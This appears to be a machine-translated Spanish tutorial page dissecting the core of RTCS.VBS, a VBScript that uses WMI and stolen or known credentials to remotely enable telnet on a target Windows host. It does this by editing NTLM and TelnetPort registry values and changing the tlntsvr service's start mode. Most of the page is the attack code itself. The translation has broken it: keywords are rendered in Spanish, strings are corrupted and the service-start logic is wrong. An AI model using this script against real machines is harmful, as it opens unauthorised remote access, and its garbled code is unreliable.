Red de conocimiento informático - Problemas con los teléfonos móviles - La ubicación del registro correspondiente al servicio telnet

La ubicación del registro correspondiente al servicio telnet

2: Analizar el código principal de RTCS.VBS

=================================== === ================================================= === =

A veces, mirar el código fuente de otras personas no es una forma buena y rápida de aprender. Estudiemos detenidamente RTCS.VBS, un script escrito por zzzEVAzzz que puede abrir de forma remota el servicio telnet.

Este script puede acceder directamente al WMI del objetivo, sin depender del ipc$ del objetivo, para abrir/cerrar de forma remota el servicio telnet del objetivo. Para facilitar el aprendizaje, he extraído el código más importante. El análisis es el siguiente:

set objlocator=createobject("wbemscripting.swbemlocator")

//Crear el objeto WbemScripting.SwbemLocator (interfaz de scripting).

// Puede ver que WMI en realidad simplemente encapsula el componente Com WbemScripting.SWbemLocator.

set objswbemservices=objlocator.connectserver(ipaddress, "root/default",nombre de usuario,contraseña)

// Controle la solicitud de servicio para conectarse a WMI a través de la función ConnectServer y conéctese root/default como espacio de nombres.

set objinstance=objswbemservices.get("stdregprov")

// Crea una instancia para acceder al registro.

set objmethod=objinstance.methods_("SetDWORDvalue")

// Cree un método que pueda cambiar el valor de la clave de registro.

set objinparam=objmethod.inparameters.spawninstance_()

//MethodData.InParameters se utiliza para obtener o establecer los parámetros de entrada del método. Aquí usamos el método spawninstance para crear una subinstancia y luego podemos asignar valores de parámetros a las propiedades del objeto.

objinparam.hdefkey=&h80000002

//hdefkey representa la clave raíz. El valor hexadecimal de la clave raíz es el siguiente:

//HKEY_CLASSES_ROOT (&H80000000 )

//HKEY_ CURRENT_USER (&H80000001)

//HKEY_LOCAL_MACHINE (&H80000002)

//HKEY_USERS (&H80000003)

//HKEY_CURRENT_ CONFIG (&H80000005)

objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"

// ssubkeyname representa la subclave.

objinparam.svaluename="NTLM"

//svaluename representa el nombre del atributo.

objinparam.uvalue=ntlm

// uvalue representa el valor clave.

set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)

// El uso del método de ejecución del método exec en realidad reescribe el registro.

// Lo que debe modificarse a continuación es el valor TelnetPort del servicio telnet. El principio es el mismo que el anterior.

objinparam.svaluename="TelnetPort"

objinparam.uvalue=puerto

set objoutparam=objinstance.execmethod_("SetDWORDvalue ",objinparam)

Se completó la modificación del registro de telnet y también se modificaron NTLM y TelnetPort. ¿Qué pasa si el servicio telnet de la otra parte no está activado? A continuación, debe iniciar el servicio telnet de acuerdo con las condiciones específicas de telnet. Continúe viendo el código.

// Primero consulta el host remoto cuando se inicia tlntsvr.

set objswbemservices=objlocator.connectserver(ipaddress, "root\cimv2",nombre de usuario,contraseña)

// La clase win32_service está en el espacio de nombres root\cimv2. Echemos un vistazo rápido a los conceptos básicos.

set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")

// Nota: Las consultas se realizan mediante enumeración.

para cada objinstance en colinstances

si objinstance.startmode="Disabled" entonces

establezca objmethod=objinstance.methods_(" changestartmode")

// Crea el método changestartmode para cambiar el modo de inicio de tlntsvr.

set objinparam=objmethod.inparameters.spawninstance_()

objinparam.startmode="Manual"

// Cambia el modo de inicio a manual.

set objoutparam=objinstance.execmethod_("changestartmode",objinparam)

end if

// El siguiente es el proceso de inicio del servicio telnet. Aquí, zzEVAzzz parece tener una idea un poco equivocada, no sé si es un descuido de su parte, pero personalmente creo que no deberías usar el método stopservice para detener el servicio telnet cuando el servicio telnet ya está iniciado. .

si objinstance.started=true entonces

intstatus=objinstance.stopservice()

//stopservice es el método en WMI utilizado para detener el servicio de instancia de servicio .

else

intstatus=objinstance.stopservice()

end if

siguiente

Espero que te ayude ayudó.